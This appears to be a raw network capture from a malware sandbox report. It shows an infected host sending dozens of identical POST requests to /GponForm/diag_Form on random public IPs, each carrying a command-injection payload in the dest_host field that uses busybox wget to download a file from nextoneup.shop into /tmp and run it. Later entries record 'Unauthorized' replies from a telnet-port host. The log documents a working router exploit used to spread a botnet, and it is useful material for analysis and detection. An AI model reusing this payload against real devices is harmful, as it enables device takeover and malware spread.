Session ID	Source IP	Source Port	Destination IP	Destination Port
1081	192.168.2.23	46830	212.165.41.3	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324562073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1082	192.168.2.23	34518	178.195.184.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324593067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1083	192.168.2.23	51564	148.61.40.222	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324626923 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1084	192.168.2.23	32994	178.16.123.109	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324671030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1085	192.168.2.23	54976	178.171.136.244	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324702024 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1086	192.168.2.23	32884	123.196.40.129	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324759960 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1087	192.168.2.23	39756	42.54.73.163	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324784994 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1088	192.168.2.23	45808	118.1.210.128	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324821949 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1089	192.168.2.23	34970	178.249.62.114	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.324882030 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1090	192.168.2.23	49182	202.130.68.147	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325004101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1091	192.168.2.23	55580	37.185.112.61	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325038910 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1092	192.168.2.23	56632	2.67.141.231	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325068951 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1093	192.168.2.23	53982	178.81.211.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325097084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1094	192.168.2.23	38452	79.140.32.191	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325129032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1095	192.168.2.23	39412	118.172.22.98	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325201035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1096	192.168.2.23	48266	42.166.165.99	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325234890 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1097	192.168.2.23	39848	212.60.209.159	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325263977 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1098	192.168.2.23	46126	123.200.18.172	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325294971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1099	192.168.2.23	50506	37.6.182.173	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325321913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1100	192.168.2.23	55824	5.184.218.17	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.325364113 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1101	192.168.2.23	55008	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.563935041 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:08Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1102	192.168.2.23	55018	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:21.954314947 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:08Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1103	192.168.2.23	55126	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.235395908 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:08Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1104	192.168.2.23	55130	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.625504971 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:09Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1105	192.168.2.23	55132	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:22.906586885 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:09Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1106	192.168.2.23	55144	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:23.312273026 CEST	179	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 31 2e 31 38 31 2e 35 34 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 34 2d 30 34 2d 31 34 20 31 30 3a 30 30 3a 30 39 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 81.181.54.60MAC Address: Server Time: 2024-04-14 10:00:09Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
1107	192.168.2.23	55164	154.89.94.248	23

Timestamp	Bytes transferred	Direction	Data
